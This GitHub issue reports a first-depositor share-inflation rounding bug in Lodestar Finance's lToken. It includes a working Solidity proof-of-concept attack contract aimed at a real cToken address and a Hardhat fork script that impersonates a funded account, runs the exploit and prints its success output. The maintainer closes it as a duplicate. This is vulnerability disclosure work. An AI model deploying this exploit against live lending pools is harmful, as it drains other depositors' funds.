Lodestar-Finance / lodestar-protocol

Houses the code for the Lodestar Finance DeFi protocol.
BSD 3-Clause "New" or "Revised" License
10 stars 7 forks source link

Manipulation of lToken when totalSupply is zero can lead to an implicit minimum deposit amount and loss of user funds due to rounding errors #35

Closed gandu0 closed 1 year ago

gandu0 commented 1 year ago

Where:lToken When: lToken.totalSupply == 0 Severity: High Description:

This attack has two implications-

Maths:
here BalanceOF(address(this)) == X + 1Wei
now mint token will be :
amount/BalanceOF(address(this)
= Y/(X+1wei) (here denominator is greater than numerator )
= 0. something
= 0 (solidity round of math)fund At risk: - all the new lToken's funds were at risk so it's a critical bug, and the amount of funds at risk is infinite.

Recommendations:-

Note:

POC:

pragma solidity =0.8.7;

import "hardhat/console.sol";

interface ICErc20Delegator {
    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(address owner) external view returns (uint256);

    function mint(uint256 mintAmount) external returns (uint256);

    function redeem(uint256 redeemTokens) external returns (uint256);

    function totalSupply() external view returns (uint256);

    function underlying() external view returns (address);
}

interface IERC20 {
    function transfer(address dst, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(address owner) external view returns (uint256);
}

interface IUniswapV2Router02 {
    function WETH() external returns (address);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
}

contract ImproperInitPOC {
    ICErc20Delegator public constant cToken =
        ICErc20Delegator(0x80a2AE356fc9ef4305676f7a3E2Ed04e12C33946); //a newly deployed cToken with totalSupply = 0  (cYFI in this case)
    IERC20 public immutable underlying;

    constructor() payable {
        require(msg.value >= 500 ether, "give me some eth to buy YFI");
        underlying = IERC20(cToken.underlying());
    }

    function setup() internal {
        //let's get our hands on some underlying token
        //assuming we have some ETH in the contract
        IUniswapV2Router02 uniswapV2Router02 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        address WETH = uniswapV2Router02.WETH();
        address[] memory path = new address[](2);
        path[0] = WETH;
        path[1] = address(underlying);

        //swap some ETH for underlying token
        uint256 ethAmount = 500 ether;
        uniswapV2Router02.swapExactETHForTokens{value: ethAmount}(
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function attack() external {
        setup();
        require(
            cToken.totalSupply() == 0,
            "attack only possible when totalSupply is zero"
        );

        //approve underlying to cToken to be able to mint cToken
        underlying.approve(address(cToken), 1 ether);
        cToken.mint(1 ether); //1 YFI

        uint256 cTokenBalance = cToken.balanceOf(address(this));
        //now redeem all the cTokens but 1
        uint256 cTokenToRedeem = cTokenBalance - 1;
        cToken.redeem(cTokenToRedeem);

        cTokenBalance = cToken.balanceOf(address(this));
        assert(cTokenBalance == 1); //as expected

        uint256 z = 1 ether;
        //now transfer z underlying directly to cToken contract
        //this make 1 wei of cToken worth ~z YFI tokens
        //Attacker can make this z as big as they want as they can redeem it with 1 wei
        underlying.transfer(address(cToken), z);

        //attack done
    }

    //if you try to call this before the attack is done it will fails
    function victimIntraction() external {
        //some one tries to mint less than z
        uint256 cTokenBalanceBefore = cToken.balanceOf(address(this));
        underlying.approve(address(cToken), 1e18);
        cToken.mint(1e18);
        //here they do not get 0 cTokens
        //and they loose all of their undelrying tokens
        require(
            cTokenBalanceBefore == cToken.balanceOf(address(this)),
            "attack was not sucessfull"
        );
    }

    fallback() external payable {}

    receive() external payable {}
}
gandu0 commented 1 year ago

Code

const { ethers } = require("hardhat");

//blocknumber at fork : 26349708
async function main() {

    let user;
    [user, ] = await ethers.getSigners();
    let underlyingABI = [
        "function balanceOf(address _user) view returns (uint256)",
        "function decimals() external view returns(uint8)",
        "function name() external view returns(string)",
        "function approve(address spender, uint256 amount) external returns (bool)",
        "function transfer(address recipient, uint256 amount) external returns (bool)",
        "function totalSupply() external view returns (uint256)"
    ]

    let poolABI = [
        "function mint(uint256 mintAmount) external returns (uint256)",
        "function redeem(uint256 redeemTokens) external returns (uint256)",
        "function balanceOf(address _user) view returns (uint256)",
        "function totalSupply() external view returns (uint256)",
        "function totalUnderlying() external view returns (uint256)"

    ];
    const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");

    // Getting pool instance
    const pool = new ethers.Contract("0x0545a8eaf7ff6bb6f708cbb544ea55dbc2ad7b2a", poolABI, provider);
    // getting underlying instance 
    const underlying = new ethers.Contract("0x2899a03ffDab5C90BADc5920b4f53B0884EB13cC", underlyingABI, provider); //dai
    const mintToken = new ethers.Contract("0x0545a8eaF7ff6bB6F708CbB544EA55DBc2ad7b2a", underlyingABI, provider); //cDai

    // Impersonating account which has some underlying tokens
    await hre.network.provider.request({
        method: "hardhat_impersonateAccount",
        params: ["0x7e3114fcbc1d529fd96de61d65d4a03071609c56"], 
      });

    const attacker = await ethers.getSigner("0x7e3114fcbc1d529fd96de61d65d4a03071609c56");

    // Getting some eth
    await ethers.provider.send("hardhat_setBalance", [
        attacker.address,
        "0x1158e460913d00000", // 20 ETH
    ]);

    if(await mintToken.balanceOf(attacker.address) == 0 ) {
        console.log('===============================================');
        const attackerBalance = await underlying.balanceOf(attacker.address);
        const userLPbalance = await mintToken.balanceOf(user.address);
        console.log("attacker's underlying(Dai) balance before attack:", attackerBalance);
        console.log("user's underlying(Dai) balance:",userLPbalance )
        // Transferring some underlying tokens to user
        await underlying.connect(attacker).transfer(user.address, ethers.utils.parseEther('1'));
        const userBalance = await underlying.balanceOf(user.address);

        console.log("user's underlying(Dai) balance before attack:", userBalance)     
        // Approving
        await underlying.connect(attacker).approve(pool.address, ethers.utils.parseEther('1'), {gasLimit: 2300000});
        await underlying.connect(user).approve(pool.address,ethers.utils.parseEther('1'), {gasLimit: 2300000});
        console.log('===============================================');
        console.log('Step 1: Attacker Depositing 1e18 amount of token to mint some minttoken)');
        console.log("balance of Dai before mint contract", await underlying.balanceOf(attacker.address));
        await pool.connect(attacker).mint(ethers.utils.parseEther('1'), {gasLimit: 2300000});
        await pool.connect(attacker).redeem((await mintToken.balanceOf(attacker.address))-1,{gasLimit: 2300000});
        console.log("balance of Dai after contract", await underlying.balanceOf(attacker.address));
        console.log("balance of Dai contract", await underlying.balanceOf(pool.address));

        console.log('Attacker total underlying(Dai) balance after deposit: ', await underlying.balanceOf(attacker.address));
        console.log('Attacker total minttoken balance after deposit: ', await mintToken.balanceOf(attacker.address));
        console.log('===============================================');
        console.log('Step 2: Transferring underlying directly to poolAddress, z = 2e18');
        await underlying.connect(attacker).transfer(pool.address, ethers.utils.parseEther('2'), {gasLimit: 23000000});
        console.log("total supply while transfering the underlying(dai)", await underlying.balanceOf(pool.address));
        console.log("balance of underlying(dai) contract", await underlying.balanceOf(pool.address));

        console.log('===============================================');
        console.log('Attacker 2nd time Depositing with less than z after attack....'); // these amount will as big as attacker want 
        await pool.connect(user).mint( ethers.utils.parseEther('1'), {gasLimit: 2300000});
        const UserLPBalance = await mintToken.balanceOf(user.address);
        const UserUSDCBalance = await underlying.balanceOf(user.address);
        // consider attacker as a new depositor 
        if(UserLPBalance == 0 && UserUSDCBalance <= userBalance){
            console.log("Attack is successful")
        }
        else {
            console.log("Failed");
        }
    }

}

main()
    .then(() => process.exit(0))
    .catch((error) => {
        console.error(error);
        process.exit(1);
    })

Run

BlockNumber: 7602029
command: 

1. npx hardhat node --fork https://eth-goerli.g.alchemy.com/v2/<goeril Alchemy API>--fork-block-number 7602029
2. npx hardhat run --network localhost <PATH>

OutPut

===============================================
attacker's underlying(Dai) balance before attack: BigNumber { value: "29985002999700014999700" }
user's underlying(Dai) balance: BigNumber { value: "0" }
user's underlying(Dai) balance before attack: BigNumber { value: "1000000000000000000" }
===============================================
Step 1: Attacker Depositing 1e18 amount of token to mint some minttoken)
balance of Dai before mint contract BigNumber { value: "29984002999700014999700" }
balance of Dai after contract BigNumber { value: "29984002999699814999700" }
balance of Dai contract BigNumber { value: "679833992440820850974953367" }
Attacker total underlying(Dai) balance after deposit:  BigNumber { value: "29984002999699814999700" }
Attacker total minttoken balance after deposit:  BigNumber { value: "1" }
===============================================
Step 2: Transferring underlying directly to poolAddress, z = 2e18
total supply while transfering the underlying(dai) BigNumber { value: "679833994440820850974953367" }
balance of underlying(dai) contract BigNumber { value: "679833994440820850974953367" }
===============================================
Attacker 2nd time Depositing with less than z after attack....
Attack is successful
0xAppo commented 1 year ago

This is a very detailed description and thank you for making this report. However I'm closing this issue as it is a duplicate of #8